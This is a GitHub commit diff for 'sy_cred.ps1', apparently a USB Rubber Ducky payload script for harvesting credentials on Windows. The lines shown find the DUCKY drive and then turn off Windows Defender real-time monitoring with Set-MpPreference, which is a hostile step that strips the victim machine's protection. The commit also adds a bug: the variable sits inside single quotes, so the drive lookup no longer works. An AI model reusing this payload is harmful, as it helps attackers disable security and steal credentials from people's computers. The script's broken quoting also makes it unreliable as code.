Update sy_cred.ps1

pull/466/head
Nicolo’ 2024-07-24 19:58:46 +02:00 committed by GitHub
parent 5f7db5486a
commit fcc1caf610
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 2 additions and 1 deletions

View File

@ -1,5 +1,6 @@
# Set destination directory # Set destination directory
$duckletter = (Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.VolumeName -eq 'DUCKY' }).DeviceID $DUCKY_DRIVE_NAME = "DUCKY"
$duckletter = (Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.VolumeName -eq '$DUCKY_DRIVE_NAME' }).DeviceID
Set-Location $duckletter Set-Location $duckletter
Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference -DisableRealtimeMonitoring $true